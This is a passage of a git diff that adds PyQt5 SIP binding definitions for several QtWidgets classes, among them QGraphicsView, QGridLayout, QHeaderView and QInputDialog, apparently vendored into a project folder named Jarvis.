b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qgraphicsview.sip new file mode 100644 index 00000000..94e7e4a2 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qgraphicsview.sip @@ -0,0 +1,194 @@ +// qgraphicsview.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QGraphicsView : QAbstractScrollArea +{ +%TypeHeaderCode +#include +%End + +public: + enum CacheModeFlag + { + CacheNone, + CacheBackground, + }; + + typedef QFlags CacheMode; + + enum DragMode + { + NoDrag, + ScrollHandDrag, + RubberBandDrag, + }; + + enum ViewportAnchor + { + NoAnchor, + AnchorViewCenter, + AnchorUnderMouse, + }; + + QGraphicsView(QWidget *parent /TransferThis/ = 0); + QGraphicsView(QGraphicsScene *scene /KeepReference/, QWidget *parent /TransferThis/ = 0); + virtual ~QGraphicsView(); + virtual QSize sizeHint() const; + QPainter::RenderHints renderHints() const; + void setRenderHint(QPainter::RenderHint hint, bool on = true); + void setRenderHints(QPainter::RenderHints hints); + Qt::Alignment alignment() const; + void setAlignment(Qt::Alignment alignment); + QGraphicsView::ViewportAnchor transformationAnchor() const; + void setTransformationAnchor(QGraphicsView::ViewportAnchor anchor); + QGraphicsView::ViewportAnchor resizeAnchor() const; + void setResizeAnchor(QGraphicsView::ViewportAnchor anchor); + QGraphicsView::DragMode dragMode() const; + void setDragMode(QGraphicsView::DragMode mode); + QGraphicsView::CacheMode cacheMode() const; + void setCacheMode(QGraphicsView::CacheMode mode); + void resetCachedContent(); + bool isInteractive() const; + void setInteractive(bool allowed); + QGraphicsScene *scene() const; + void setScene(QGraphicsScene *scene /KeepReference/); + QRectF sceneRect() const; + void setSceneRect(const QRectF &rect); + void rotate(qreal angle); + void scale(qreal sx, qreal sy); + void shear(qreal sh, qreal sv); + void translate(qreal dx, qreal dy); + void centerOn(const QPointF &pos); + void centerOn(const QGraphicsItem *item); + void ensureVisible(const QRectF &rect, int xMargin = 50, int yMargin = 50); + void ensureVisible(const QGraphicsItem *item, int xMargin = 50, int yMargin = 50); + void fitInView(const QRectF &rect, Qt::AspectRatioMode mode = Qt::IgnoreAspectRatio); + void fitInView(const QGraphicsItem *item, Qt::AspectRatioMode mode = Qt::IgnoreAspectRatio); + void render(QPainter *painter, const QRectF &target = QRectF(), const QRect &source = QRect(), Qt::AspectRatioMode mode = Qt::KeepAspectRatio); + QList items() const; + QList items(const QPoint &pos) const; + QList items(int x, int y) const; + QList items(int x, int y, int w, int h, Qt::ItemSelectionMode mode = Qt::IntersectsItemShape) const; + QList items(const QRect &rect, Qt::ItemSelectionMode mode = Qt::IntersectsItemShape) const; + QList items(const QPolygon &polygon, Qt::ItemSelectionMode mode = Qt::IntersectsItemShape) const; + QList items(const QPainterPath &path, Qt::ItemSelectionMode mode = Qt::IntersectsItemShape) const; + QGraphicsItem *itemAt(const QPoint &pos) const; + QPointF mapToScene(const QPoint &point) const; + QPolygonF mapToScene(const QRect &rect) const; + QPolygonF mapToScene(const QPolygon &polygon) const; + QPainterPath mapToScene(const QPainterPath &path) const; + QPoint mapFromScene(const QPointF &point) const; + QPolygon mapFromScene(const QRectF &rect) const; + QPolygon mapFromScene(const QPolygonF &polygon) const; + QPainterPath mapFromScene(const QPainterPath &path) const; + virtual QVariant inputMethodQuery(Qt::InputMethodQuery query) const; + QBrush backgroundBrush() const; + void setBackgroundBrush(const QBrush &brush); + QBrush foregroundBrush() const; + void setForegroundBrush(const QBrush &brush); + +public slots: + void invalidateScene(const QRectF &rect = QRectF(), QGraphicsScene::SceneLayers layers = QGraphicsScene::AllLayers); + void updateScene(const QList &rects); + void updateSceneRect(const QRectF &rect); + +protected slots: + virtual void setupViewport(QWidget *widget); + +protected: + virtual bool event(QEvent *event); + virtual bool viewportEvent(QEvent *event); + virtual void contextMenuEvent(QContextMenuEvent *event); + virtual void dragEnterEvent(QDragEnterEvent *event); + virtual void dragLeaveEvent(QDragLeaveEvent *event); + virtual void dragMoveEvent(QDragMoveEvent *event); + virtual void dropEvent(QDropEvent *event); + virtual void focusInEvent(QFocusEvent *event); + virtual void focusOutEvent(QFocusEvent *event); + virtual bool focusNextPrevChild(bool next); + virtual void keyPressEvent(QKeyEvent *event); + virtual void keyReleaseEvent(QKeyEvent *event); + virtual void mouseDoubleClickEvent(QMouseEvent *event); + virtual void mousePressEvent(QMouseEvent *event); + virtual void mouseMoveEvent(QMouseEvent *event); + virtual void mouseReleaseEvent(QMouseEvent *event); + virtual void wheelEvent(QWheelEvent *event); + virtual void paintEvent(QPaintEvent *event); + virtual void resizeEvent(QResizeEvent *event); + virtual void scrollContentsBy(int dx, int dy); + virtual void showEvent(QShowEvent *event); + virtual void inputMethodEvent(QInputMethodEvent *event); + virtual void drawBackground(QPainter *painter, const QRectF &rect); + virtual void drawForeground(QPainter *painter, const QRectF &rect); + +public: + void setSceneRect(qreal ax, qreal ay, qreal aw, qreal ah); + void centerOn(qreal ax, qreal ay); + void ensureVisible(qreal x, qreal y, qreal w, qreal h, int xMargin = 50, int yMargin = 50); + void fitInView(qreal x, qreal y, qreal w, qreal h, Qt::AspectRatioMode mode = Qt::IgnoreAspectRatio); + QGraphicsItem *itemAt(int ax, int ay) const; + QPointF mapToScene(int ax, int ay) const; + QPolygonF mapToScene(int ax, int ay, int w, int h) const; + QPoint mapFromScene(qreal ax, qreal ay) const; + QPolygon mapFromScene(qreal ax, qreal ay, qreal w, qreal h) const; + + enum ViewportUpdateMode + { + FullViewportUpdate, + MinimalViewportUpdate, + SmartViewportUpdate, + BoundingRectViewportUpdate, + NoViewportUpdate, + }; + + enum OptimizationFlag + { + DontClipPainter, + DontSavePainterState, + DontAdjustForAntialiasing, + }; + + typedef QFlags OptimizationFlags; + QGraphicsView::ViewportUpdateMode viewportUpdateMode() const; + void setViewportUpdateMode(QGraphicsView::ViewportUpdateMode mode); + QGraphicsView::OptimizationFlags optimizationFlags() const; + void setOptimizationFlag(QGraphicsView::OptimizationFlag flag, bool enabled = true); + void setOptimizationFlags(QGraphicsView::OptimizationFlags flags); + Qt::ItemSelectionMode rubberBandSelectionMode() const; + void setRubberBandSelectionMode(Qt::ItemSelectionMode mode); + QTransform transform() const; + QTransform viewportTransform() const; + void setTransform(const QTransform &matrix, bool combine = false); + void resetTransform(); + bool isTransformed() const; +%If (Qt_5_1_0 -) + QRect rubberBandRect() const; +%End + +signals: +%If (Qt_5_1_0 -) + void rubberBandChanged(QRect viewportRect, QPointF fromScenePoint, QPointF toScenePoint); +%End +}; + +QFlags operator|(QGraphicsView::CacheModeFlag f1, QFlags f2); +QFlags operator|(QGraphicsView::OptimizationFlag f1, QFlags f2); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qgraphicswidget.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qgraphicswidget.sip new file mode 100644 index 00000000..503cb681 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qgraphicswidget.sip @@ -0,0 +1,126 @@ +// qgraphicswidget.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QGraphicsWidget : QGraphicsObject, QGraphicsLayoutItem +{ +%TypeHeaderCode +#include +%End + +public: + QGraphicsWidget(QGraphicsItem *parent /TransferThis/ = 0, Qt::WindowFlags flags = Qt::WindowFlags()); + virtual ~QGraphicsWidget(); + QGraphicsLayout *layout() const; + void setLayout(QGraphicsLayout *layout /Transfer/); + void adjustSize(); + Qt::LayoutDirection layoutDirection() const; + void setLayoutDirection(Qt::LayoutDirection direction); + void unsetLayoutDirection(); + QStyle *style() const; + void setStyle(QStyle *style /KeepReference/); + QFont font() const; + void setFont(const QFont &font); + QPalette palette() const; + void setPalette(const QPalette &palette); + void resize(const QSizeF &size); + void resize(qreal w, qreal h); + QSizeF size() const; + virtual void setGeometry(const QRectF &rect); + QRectF rect() const; +%If (Qt_5_14_0 -) + void setContentsMargins(QMarginsF margins); +%End + void setContentsMargins(qreal left, qreal top, qreal right, qreal bottom); + virtual void getContentsMargins(qreal *left, qreal *top, qreal *right, qreal *bottom) const; +%If (Qt_5_14_0 -) + void setWindowFrameMargins(QMarginsF margins); +%End + void setWindowFrameMargins(qreal left, qreal top, qreal right, qreal bottom); + void getWindowFrameMargins(qreal *left, qreal *top, qreal *right, qreal *bottom) const; + void unsetWindowFrameMargins(); + QRectF windowFrameGeometry() const; + QRectF windowFrameRect() const; + Qt::WindowFlags windowFlags() const; + Qt::WindowType windowType() const; + void setWindowFlags(Qt::WindowFlags wFlags); + bool isActiveWindow() const; + void setWindowTitle(const QString &title); + QString windowTitle() const; + Qt::FocusPolicy focusPolicy() const; + void setFocusPolicy(Qt::FocusPolicy policy); + static void setTabOrder(QGraphicsWidget *first, QGraphicsWidget *second); + QGraphicsWidget *focusWidget() const; + int grabShortcut(const QKeySequence &sequence, Qt::ShortcutContext context = Qt::WindowShortcut); + void releaseShortcut(int id); + void setShortcutEnabled(int id, bool enabled = true); + void setShortcutAutoRepeat(int id, bool enabled = true); + void addAction(QAction *action); + void addActions(QList actions); + void insertAction(QAction *before, QAction *action); + void insertActions(QAction *before, QList actions); + void removeAction(QAction *action); + QList actions() const; + void setAttribute(Qt::WidgetAttribute attribute, bool on = true); + bool testAttribute(Qt::WidgetAttribute attribute) const; + virtual int type() const; + virtual void paint(QPainter *painter, const QStyleOptionGraphicsItem *option, QWidget *widget = 0); + virtual void paintWindowFrame(QPainter *painter, const QStyleOptionGraphicsItem *option, QWidget *widget = 0); + virtual QRectF boundingRect() const; + virtual QPainterPath shape() const; + void setGeometry(qreal ax, qreal ay, qreal aw, qreal ah); + +public slots: + bool close(); + +protected: + virtual void initStyleOption(QStyleOption *option) const; + virtual QSizeF sizeHint(Qt::SizeHint which, const QSizeF &constraint = QSizeF()) const; + virtual void updateGeometry(); + virtual QVariant itemChange(QGraphicsItem::GraphicsItemChange change, const QVariant &value); + virtual bool sceneEvent(QEvent *event); + virtual bool windowFrameEvent(QEvent *e); + virtual Qt::WindowFrameSection windowFrameSectionAt(const QPointF &pos) const; + virtual bool event(QEvent *event); + virtual void changeEvent(QEvent *event); + virtual void closeEvent(QCloseEvent *event); + virtual void focusInEvent(QFocusEvent *event); + virtual bool focusNextPrevChild(bool next); + virtual void focusOutEvent(QFocusEvent *event); + virtual void hideEvent(QHideEvent *event); + virtual void moveEvent(QGraphicsSceneMoveEvent *event); + virtual void polishEvent(); + virtual void resizeEvent(QGraphicsSceneResizeEvent *event); + virtual void showEvent(QShowEvent *event); + virtual void hoverMoveEvent(QGraphicsSceneHoverEvent *event); + virtual void hoverLeaveEvent(QGraphicsSceneHoverEvent *event); + virtual void grabMouseEvent(QEvent *event); + virtual void ungrabMouseEvent(QEvent *event); + virtual void grabKeyboardEvent(QEvent *event); + virtual void ungrabKeyboardEvent(QEvent *event); + +public: + bool autoFillBackground() const; + void setAutoFillBackground(bool enabled); + +signals: + void geometryChanged(); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qgridlayout.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qgridlayout.sip new file mode 100644 index 00000000..d6545066 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qgridlayout.sip @@ -0,0 +1,145 @@ +// qgridlayout.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QGridLayout : QLayout +{ +%TypeHeaderCode +#include +%End + +public: + explicit QGridLayout(QWidget *parent /TransferThis/); + QGridLayout(); + virtual ~QGridLayout(); + virtual QSize sizeHint() const; + virtual QSize minimumSize() const; + virtual QSize maximumSize() const; + void setRowStretch(int row, int stretch); + void setColumnStretch(int column, int stretch); + int rowStretch(int row) const; + int columnStretch(int column) const; + void setRowMinimumHeight(int row, int minSize); + void setColumnMinimumWidth(int column, int minSize); + int rowMinimumHeight(int row) const; + int columnMinimumWidth(int column) const; + int columnCount() const; + int rowCount() const; + QRect cellRect(int row, int column) const; + virtual bool hasHeightForWidth() const; + virtual int heightForWidth(int) const; + virtual int minimumHeightForWidth(int) const; + virtual Qt::Orientations expandingDirections() const; + virtual void invalidate(); + void addWidget(QWidget *w /GetWrapper/); +%MethodCode + Py_BEGIN_ALLOW_THREADS + sipCpp->addWidget(a0); + Py_END_ALLOW_THREADS + + // The layout's parent widget (if there is one) will now have ownership. + QWidget *parent = sipCpp->parentWidget(); + + if (parent) + { + PyObject *py_parent = sipGetPyObject(parent, sipType_QWidget); + + if (py_parent) + sipTransferTo(a0Wrapper, py_parent); + } + else + { + // For now give the Python ownership to the layout. This maintains + // compatibility with previous versions and allows addWidget(QWidget()). + sipTransferTo(a0Wrapper, sipSelf); + } +%End + + void addWidget(QWidget * /GetWrapper/, int row, int column, Qt::Alignment alignment = Qt::Alignment()); +%MethodCode + Py_BEGIN_ALLOW_THREADS + sipCpp->addWidget(a0, a1, a2, *a3); + Py_END_ALLOW_THREADS + + // The layout's parent widget (if there is one) will now have ownership. + QWidget *parent = sipCpp->parentWidget(); + + if (parent) + { + PyObject *py_parent = sipGetPyObject(parent, sipType_QWidget); + + if (py_parent) + sipTransferTo(a0Wrapper, py_parent); + } + else + { + // For now give the Python ownership to the layout. This maintains + // compatibility with previous versions and allows addWidget(QWidget()). + sipTransferTo(a0Wrapper, sipSelf); + } +%End + + void addWidget(QWidget * /GetWrapper/, int row, int column, int rowSpan, int columnSpan, Qt::Alignment alignment = Qt::Alignment()); +%MethodCode + Py_BEGIN_ALLOW_THREADS + sipCpp->addWidget(a0, a1, a2, a3, a4, *a5); + Py_END_ALLOW_THREADS + + // The layout's parent widget (if there is one) will now have ownership. + QWidget *parent = sipCpp->parentWidget(); + + if (parent) + { + PyObject *py_parent = sipGetPyObject(parent, sipType_QWidget); + + if (py_parent) + sipTransferTo(a0Wrapper, py_parent); + } + else + { + // For now give the Python ownership to the layout. This maintains + // compatibility with previous versions and allows addWidget(QWidget()). + sipTransferTo(a0Wrapper, sipSelf); + } +%End + + void addLayout(QLayout * /Transfer/, int row, int column, Qt::Alignment alignment = Qt::Alignment()); + void addLayout(QLayout * /Transfer/, int row, int column, int rowSpan, int columnSpan, Qt::Alignment alignment = Qt::Alignment()); + void setOriginCorner(Qt::Corner); + Qt::Corner originCorner() const; + virtual QLayoutItem *itemAt(int) const; + virtual QLayoutItem *takeAt(int) /TransferBack/; + virtual int count() const; + virtual void setGeometry(const QRect &); + void addItem(QLayoutItem *item /Transfer/, int row, int column, int rowSpan = 1, int columnSpan = 1, Qt::Alignment alignment = Qt::Alignment()); + void setDefaultPositioning(int n, Qt::Orientation orient); + void getItemPosition(int idx, int *row, int *column, int *rowSpan, int *columnSpan) const; + void setHorizontalSpacing(int spacing); + int horizontalSpacing() const; + void setVerticalSpacing(int spacing); + int verticalSpacing() const; + void setSpacing(int spacing); + int spacing() const; + QLayoutItem *itemAtPosition(int row, int column) const; + +protected: + virtual void addItem(QLayoutItem * /Transfer/); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qgroupbox.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qgroupbox.sip new file mode 100644 index 00000000..00dbff82 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qgroupbox.sip @@ -0,0 +1,62 @@ +// qgroupbox.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QGroupBox : QWidget +{ +%TypeHeaderCode +#include +%End + +public: + explicit QGroupBox(QWidget *parent /TransferThis/ = 0); + QGroupBox(const QString &title, QWidget *parent /TransferThis/ = 0); + virtual ~QGroupBox(); + QString title() const; + void setTitle(const QString &); + Qt::Alignment alignment() const; + void setAlignment(int); + virtual QSize minimumSizeHint() const; + bool isFlat() const; + void setFlat(bool b); + bool isCheckable() const; + void setCheckable(bool b); + bool isChecked() const; + +public slots: + void setChecked(bool b); + +signals: + void clicked(bool checked = false); + void toggled(bool); + +protected: + void initStyleOption(QStyleOptionGroupBox *option) const; + virtual bool event(QEvent *); + virtual void childEvent(QChildEvent *); + virtual void resizeEvent(QResizeEvent *); + virtual void paintEvent(QPaintEvent *); + virtual void focusInEvent(QFocusEvent *); + virtual void changeEvent(QEvent *); + virtual void mousePressEvent(QMouseEvent *event); + virtual void mouseMoveEvent(QMouseEvent *event); + virtual void mouseReleaseEvent(QMouseEvent *event); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qheaderview.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qheaderview.sip new file mode 100644 index 00000000..6e48b0a8 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qheaderview.sip @@ -0,0 +1,183 @@ +// qheaderview.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QHeaderView : QAbstractItemView +{ +%TypeHeaderCode +#include +%End + +public: + enum ResizeMode + { + Interactive, + Fixed, + Stretch, + ResizeToContents, + Custom, + }; + + QHeaderView(Qt::Orientation orientation, QWidget *parent /TransferThis/ = 0); + virtual ~QHeaderView(); + virtual void setModel(QAbstractItemModel *model /KeepReference/); + Qt::Orientation orientation() const; + int offset() const; + int length() const; + virtual QSize sizeHint() const; + int sectionSizeHint(int logicalIndex) const; + int visualIndexAt(int position) const; + int logicalIndexAt(int position) const; + int sectionSize(int logicalIndex) const; + int sectionPosition(int logicalIndex) const; + int sectionViewportPosition(int logicalIndex) const; + void moveSection(int from, int to); + void resizeSection(int logicalIndex, int size); + bool isSectionHidden(int logicalIndex) const; + void setSectionHidden(int logicalIndex, bool hide); + int count() const /__len__/; + int visualIndex(int logicalIndex) const; + int logicalIndex(int visualIndex) const; + void setHighlightSections(bool highlight); + bool highlightSections() const; + int stretchSectionCount() const; + void setSortIndicatorShown(bool show); + bool isSortIndicatorShown() const; + void setSortIndicator(int logicalIndex, Qt::SortOrder order); + int sortIndicatorSection() const; + Qt::SortOrder sortIndicatorOrder() const; + bool stretchLastSection() const; + void setStretchLastSection(bool stretch); + bool sectionsMoved() const; + +public slots: + void setOffset(int offset); + void headerDataChanged(Qt::Orientation orientation, int logicalFirst, int logicalLast); + void setOffsetToSectionPosition(int visualIndex); + +signals: + void geometriesChanged(); + void sectionMoved(int logicalIndex, int oldVisualIndex, int newVisualIndex); + void sectionResized(int logicalIndex, int oldSize, int newSize); + void sectionPressed(int logicalIndex); + void sectionClicked(int logicalIndex); + void sectionDoubleClicked(int logicalIndex); + void sectionCountChanged(int oldCount, int newCount); + void sectionHandleDoubleClicked(int logicalIndex); + +protected slots: + void updateSection(int logicalIndex); + void resizeSections(); + void sectionsInserted(const QModelIndex &parent, int logicalFirst, int logicalLast); + void sectionsAboutToBeRemoved(const QModelIndex &parent, int logicalFirst, int logicalLast); + +protected: + void initialize(); + void initializeSections(); + void initializeSections(int start, int end); + virtual void currentChanged(const QModelIndex ¤t, const QModelIndex &old); + virtual bool event(QEvent *e); + virtual bool viewportEvent(QEvent *e); + virtual void paintEvent(QPaintEvent *e); + virtual void mousePressEvent(QMouseEvent *e); + virtual void mouseMoveEvent(QMouseEvent *e); + virtual void mouseReleaseEvent(QMouseEvent *e); + virtual void mouseDoubleClickEvent(QMouseEvent *e); + virtual void paintSection(QPainter *painter, const QRect &rect, int logicalIndex) const; + virtual QSize sectionSizeFromContents(int logicalIndex) const; + virtual int horizontalOffset() const; + virtual int verticalOffset() const; + virtual void updateGeometries(); + virtual void scrollContentsBy(int dx, int dy); + virtual void dataChanged(const QModelIndex &topLeft, const QModelIndex &bottomRight, const QVector &roles = QVector()); + virtual void rowsInserted(const QModelIndex &parent, int start, int end); + virtual QRect visualRect(const QModelIndex &index) const; + virtual void scrollTo(const QModelIndex &index, QAbstractItemView::ScrollHint hint); + virtual QModelIndex indexAt(const QPoint &p) const; + virtual bool isIndexHidden(const QModelIndex &index) const; + virtual QModelIndex moveCursor(QAbstractItemView::CursorAction, Qt::KeyboardModifiers); + virtual void setSelection(const QRect &rect, QItemSelectionModel::SelectionFlags flags); + virtual QRegion visualRegionForSelection(const QItemSelection &selection) const; + +public: + int logicalIndexAt(int ax, int ay) const; + int logicalIndexAt(const QPoint &apos) const; + void hideSection(int alogicalIndex); + void showSection(int alogicalIndex); + void resizeSections(QHeaderView::ResizeMode mode); + int hiddenSectionCount() const; + int defaultSectionSize() const; + void setDefaultSectionSize(int size); + Qt::Alignment defaultAlignment() const; + void setDefaultAlignment(Qt::Alignment alignment); + bool sectionsHidden() const; + void swapSections(int first, int second); + bool cascadingSectionResizes() const; + void setCascadingSectionResizes(bool enable); + int minimumSectionSize() const; + void setMinimumSectionSize(int size); + QByteArray saveState() const; + bool restoreState(const QByteArray &state); + virtual void reset(); + +public slots: + void setOffsetToLastSection(); + +signals: + void sectionEntered(int logicalIndex); + void sortIndicatorChanged(int logicalIndex, Qt::SortOrder order); + +protected: + void initStyleOption(QStyleOptionHeader *option) const; + +public: + void setSectionsMovable(bool movable); + bool sectionsMovable() const; + void setSectionsClickable(bool clickable); + bool sectionsClickable() const; + QHeaderView::ResizeMode sectionResizeMode(int logicalIndex) const; + void setSectionResizeMode(int logicalIndex, QHeaderView::ResizeMode mode); + void setSectionResizeMode(QHeaderView::ResizeMode mode); +%If (Qt_5_2_0 -) + virtual void setVisible(bool v); +%End +%If (Qt_5_2_0 -) + void setResizeContentsPrecision(int precision); +%End +%If (Qt_5_2_0 -) + int resizeContentsPrecision() const; +%End +%If (Qt_5_2_0 -) + int maximumSectionSize() const; +%End +%If (Qt_5_2_0 -) + void setMaximumSectionSize(int size); +%End +%If (Qt_5_5_0 -) + void resetDefaultSectionSize(); +%End +%If (Qt_5_11_0 -) + void setFirstSectionMovable(bool movable); +%End +%If (Qt_5_11_0 -) + bool isFirstSectionMovable() const; +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qinputdialog.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qinputdialog.sip new file mode 100644 index 00000000..5e8483af --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qinputdialog.sip @@ -0,0 +1,136 @@ +// qinputdialog.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QInputDialog : QDialog +{ +%TypeHeaderCode +#include +%End + +public: + enum InputDialogOption + { + NoButtons, + UseListViewForComboBoxItems, +%If (Qt_5_2_0 -) + UsePlainTextEditForTextInput, +%End + }; + + typedef QFlags InputDialogOptions; + + enum InputMode + { + TextInput, + IntInput, + DoubleInput, + }; + + static QString getText(QWidget *parent, const QString &title, const QString &label, QLineEdit::EchoMode echo = QLineEdit::Normal, const QString &text = QString(), bool *ok = 0, Qt::WindowFlags flags = Qt::WindowFlags(), Qt::InputMethodHints inputMethodHints = Qt::ImhNone) /ReleaseGIL/; + static int getInt(QWidget *parent, const QString &title, const QString &label, int value = 0, int min = -2147483647, int max = 2147483647, int step = 1, bool *ok = 0, Qt::WindowFlags flags = Qt::WindowFlags()) /ReleaseGIL/; + static double getDouble(QWidget *parent, const QString &title, const QString &label, double value = 0, double min = -2147483647, double max = 2147483647, int decimals = 1, bool *ok = 0, Qt::WindowFlags flags = Qt::WindowFlags()) /ReleaseGIL/; +%If (Qt_5_10_0 -) + static double getDouble(QWidget *parent, const QString &title, const QString &label, double value, double minValue, double maxValue, int decimals, bool *ok, Qt::WindowFlags flags, double step); +%End + static QString getItem(QWidget *parent, const QString &title, const QString &label, const QStringList &items, int current = 0, bool editable = true, bool *ok = 0, Qt::WindowFlags flags = Qt::WindowFlags(), Qt::InputMethodHints inputMethodHints = Qt::ImhNone) /ReleaseGIL/; +%If (Qt_5_2_0 -) + static QString getMultiLineText(QWidget *parent, const QString &title, const QString &label, const QString &text = QString(), bool *ok = 0, Qt::WindowFlags flags = Qt::WindowFlags(), Qt::InputMethodHints inputMethodHints = Qt::ImhNone) /ReleaseGIL/; +%End + QInputDialog(QWidget *parent /TransferThis/ = 0, Qt::WindowFlags flags = Qt::WindowFlags()); + virtual ~QInputDialog(); + void setInputMode(QInputDialog::InputMode mode); + QInputDialog::InputMode inputMode() const; + void setLabelText(const QString &text); + QString labelText() const; + void setOption(QInputDialog::InputDialogOption option, bool on = true); + bool testOption(QInputDialog::InputDialogOption option) const; + void setOptions(QInputDialog::InputDialogOptions options); + QInputDialog::InputDialogOptions options() const; + void setTextValue(const QString &text); + QString textValue() const; + void setTextEchoMode(QLineEdit::EchoMode mode); + QLineEdit::EchoMode textEchoMode() const; + void setComboBoxEditable(bool editable); + bool isComboBoxEditable() const; + void setComboBoxItems(const QStringList &items); + QStringList comboBoxItems() const; + void setIntValue(int value); + int intValue() const; + void setIntMinimum(int min); + int intMinimum() const; + void setIntMaximum(int max); + int intMaximum() const; + void setIntRange(int min, int max); + void setIntStep(int step); + int intStep() const; + void setDoubleValue(double value); + double doubleValue() const; + void setDoubleMinimum(double min); + double doubleMinimum() const; + void setDoubleMaximum(double max); + double doubleMaximum() const; + void setDoubleRange(double min, double max); + void setDoubleDecimals(int decimals); + int doubleDecimals() const; + void setOkButtonText(const QString &text); + QString okButtonText() const; + void setCancelButtonText(const QString &text); + QString cancelButtonText() const; + virtual void open(); + void open(SIP_PYOBJECT slot /TypeHint="PYQT_SLOT"/); +%MethodCode + QObject *receiver; + QByteArray slot_signature; + + if ((sipError = pyqt5_qtwidgets_get_connection_parts(a0, sipCpp, "()", false, &receiver, slot_signature)) == sipErrorNone) + { + sipCpp->open(receiver, slot_signature.constData()); + } + else if (sipError == sipErrorContinue) + { + sipError = sipBadCallableArg(0, a0); + } +%End + + virtual QSize minimumSizeHint() const; + virtual QSize sizeHint() const; + virtual void setVisible(bool visible); + virtual void done(int result); + +signals: + void textValueChanged(const QString &text); + void textValueSelected(const QString &text); + void intValueChanged(int value); + void intValueSelected(int value); + void doubleValueChanged(double value); + void doubleValueSelected(double value); + +public: +%If 